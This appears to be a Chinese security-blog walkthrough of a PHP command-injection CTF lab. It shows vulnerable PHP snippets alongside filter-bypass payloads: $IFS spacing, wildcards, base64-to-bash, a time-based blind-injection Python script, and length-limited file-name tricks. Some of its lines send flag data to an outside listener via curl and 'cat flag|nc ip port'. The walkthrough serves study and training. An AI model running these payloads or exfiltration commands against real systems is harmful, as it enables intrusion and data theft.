freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP命令执行靶场通关记录-1
2023-05-01 23:27:27
所属地 北京

1 环境搭建

靶场:橙子科技php命令执行靶场

拉取镜像

$ sudo docker pull mcc0624/cmd:latest

运行

$ sudo docker run -p 18080:80 -p 18081:81 -p 18082:82 -it mcc0624/cmd:latest bash -c "/etc/rc.local; /bin/bash"

注意:需要加载/etc/rc.local,运行初始化命令

2 靶场WP

0x02 命令执行函数替换

原理:对传入的命令执行函数进行限制,使用其他命令执行函数即可

常见命令执行函数:system\exec\shell\passthru\shell_exec\popen\procopen\反引号\pcntl_exec

例题代码

<?php
    header("content-type:text/html;charset=utf-8"); 
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])){
        $c = $_GET['cmd'];
        if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
            eval($c);
        }
        else{
            echo "你是黑客么?";
        }
    }
?>

审计代码,发现未过滤passthru函数,因此使用该函数即可

payload为cmd=passthru("ls");,成功执行命令
image.png

0x03 命令拼接

命令拼接:函数中不仅有用户输入命令,还有预先定义的命令,如system('ping '.$_GET['ip']);

linux下命令分割符

  1. 分号,分号分割两条命令

  2. ||,当前一条命令执行失败时才会执行后一条命令

  3. &&,当前一条命令执行成功时才会执行后一条命令

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    if(isset($cmd)){
        system("ls".$cmd);
    }
?> 

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    $cmd = $cmd." >/dev/null 2>&1";
    if(isset($cmd)){
        system($cmd);
    }
?>

审计代码,发现情况1中先进行ls的执行,再进行用户输入的执行,因此需要确保后一条执行正常执行,可以使用分号
payload为cmd=;id,成功执行
image.png
情况2中先执行命令再将其重定向至/dev/null导致无回显,因此可以采用||确保重定向命令不会执行
payload为cmd=id||,成功回显
image.png
考虑到无回显情况,也可以尝试使用带外注入
kali中开启nc侦听端口
payload为cmd=curl http://ip:port/id,成功回显
image.png

0x04 空格过滤

linux中可以使用特殊字符$IFS替代命令中的空格,为了避免识别出现问题,可以使用界定符${IFS}

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    $cmd = $_GET["cmd"];
    if(isset($cmd)){
        $cmd = preg_replace("# #","",$cmd);
        echo "过滤后的命令:".$cmd."</br >";
        echo "命令执行结果如下:";
        system($cmd);
    }
?>

审计代码,发现将空格替换为空,因此采用$IFS替换空格
payload为cmd=cat${IFS}flag.php,成功获取flag
image.png
也可以使用重定向方式,将文件内容定向至cat输出
payload为cat<flag.php,同样获取flag
image.png

0x05 文件名过滤

linux常用通配符

  1. ?匹配一个字符

  2. * 匹配多个字符

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        if (!preg_match("/flag|system|php/i", $cmd)) {
            eval($cmd);
        }
        else{
            echo "命令有问题哦,来黑我丫!!!";
            }
    }
?>

审计代码,发现过滤flag、php、system,其中,system函数可以使用其他命令执行函数替换,而flag.php可以使用通配符替换
payload为cmd=passthru('cat fl?g*');,成功执行代码
image.png

0x06 文件读取命令过滤

linux下文件读取命令补充

  1. tac 和cat功能一致,但从最后一行开始读

  2. less/more 一次显示一部分

  3. nl 和cat功能一致,显示行号

  4. tail 查看文件末尾

例题代码

<?php
    header("content-type:text/html;charset=utf-8");
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['cmd'])) {
        $cmd = $_GET['cmd'];
        if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
            eval($cmd);
        }
        else{
            echo "再来黑我丫!!!";
        }
    }
?>

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['c'])) {
        $c = $_GET['c'];
        if (!preg_match("/more|less|head|cat|tac|tail|nl|od|vi|vim|sort|uniq|file|\'/i", $c)) {
            eval($c);
        } else {
            echo "黑的啥都看ä¸è§äº†ï¼";
        }
    }
?>

审计代码,发现情况1中对常见的文件读取命令进行过滤,因此使用nl替换cat;对单引号进行过滤,可以使用双引号替换
payload为cmd=system("nl flag.php");,成功执行
image.png
情况2中基本过滤所有可用文件读取命令,但未过滤grep

grep补充:grep 字符串 文件名,尝试匹配文件中的字符串,如果成功则输出

基于grep,构造payload为c=system("grep { flag.php");,成功读取flag
image.png

此外,还可以尝试使用编码方式绕过

利用思路如下

  1. base64编码命令

  2. echo base64编码|base64 -d|bash

针对情况2,构造编码后payload为c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash");,成功执行代码
image.png

0x08 无回显注入

通常情况下,无回显注入采用带外注入方式获取信息,具体参见0x03中的方式,然而,有时可能过滤curl、wget等可发送请求的指令,因此只能基于时间进行盲注

时间盲注:将字符切分,并利用if判断其值,当值正确时,配合sleep语句延迟响应,时间盲注常用命令包括awk和cut,利用awk拆分行,cut拆分字符,逐字符判断

例题代码

<?php
    error_reporting(0);
    function check($x){
        if(preg_match('/\\$|\!|\@|\#|\%|\^|\&|\*|\?|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
            die('too young too simple sometimes naive!');
        }
    }
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        check($cmd);
        exec($cmd);
    }
    else{
        highlight_file(__FILE__);
    }
?>

审计代码,发现过滤了常见能够发送请求的指令,且采用exec执行命令,无回显,故考虑时间盲注

盲注脚本如下(参考php靶场中的poc)

import requests
import time
url = ""
result = ""
for i in range(1,5):
    for j in range(1,55):
        #ascii码表
        for c in range(32,128):
            c = chr(c)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {c} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + c
                print(result)
                break
    result += " "

成功获取flag
image.png

0x09 长度限制

对用户输入长度进行限制,导致无法执行常规命令,需要特殊构造
绕过流程

  1. 确定需要使用的命令

  2. 拆分命令,利用不超过指定长度的字符创建对应的短文件,配合ls命令将其输入到文件中

  3. sh执行最终生成的文件,实现命令执行

1 限制长度为7

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(E_ALL);
    function filter($argv){
        $a = str_replace("/\*|\?|/","=====",$argv);
        return $a;
    }
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
        exec(filter($_GET['cmd']));
    } else  {
        echo "flag in local path flag file!!";
    }
    flag in local path flag file!!
?>

审计代码,发现strlen对命令长度进行限制,且使用exec执行命令,无回显;同时会对*、?、/进行过滤,但由于flag在当前路径下,因此filter函数对命令执行无影响

利用过程:

  1. 确定使用的命令,由于无回显,因此使用cat flag|nc ip port

  2. 创建文件,配合分隔符\用于将一条长命令分割,写法不唯一

>port\\
>\ \\
>ip后半段\\
>ip前半段\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\
ls -t>a
  1. kali侦听对应端口,sh a执行即可,最终获取flag

image.png

2 限制长度为5

同限制长度为7的区别

  1. 创建空格文件使用>\ \为5个字符,因此只能创建包含一个空格的文件,故需要替换命令

  2. ls -t>a长度大于5,无法直接执行

例题代码同限制长度为7,只是strlen<=5

利用思路

  1. 创建ls -t>a,由于只能使用ls,而ls以字符顺序排序,导致ls会排在后面,因此需要先输出ls到文件,再>>追加内容

>ls\\
ls>_
>\ \\
>-t\\
>\>a
ls>>_
  1. 创建命令执行使用的命令,由于限制空格数,可以采用${IFS}替换空格,构造命令参考限制7,但需要拆分更多

  2. sh _执行ls -t>a,kali侦听端口,再sh a执行a获取flag

一定注意第二步构造的payload(做了n次实验才成功的人如是说(悲QWQ))
image.png

3 长度限制4

长度限制为4后,无法创建空格文件,一些指令也无法正常执行

相关命令

  1. rev,反转文件内容,如abc,反转后为cba

  2. *,linux会把列出的第一个文件名做指令,后续文件名做参数

  3. dir,类似ls,不换行输出

绕过思路:创建linux命令文件,利用*执行命令

例题代码同长度限制7,strlen<=4

利用流程

  1. 创建ls相关文件,需要注意字母顺序,*执行时确保正常,最好在g后加分号,防止文件名出现问题

>sl
>ht-
>g\>
>dir
*>v

image.png
2. 创建rev文件,利用rev输出ls -t指令到文件中

>rev
*v>x

image.png
3. 构造其他可利用命令,直接使用
4. 执行sh x创建g文件,sh g代码执行
image.png

3 代码

相关代码最终会放在github上,具体见通关记录2

# web安全 # php # CTF # 远程命令执行
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录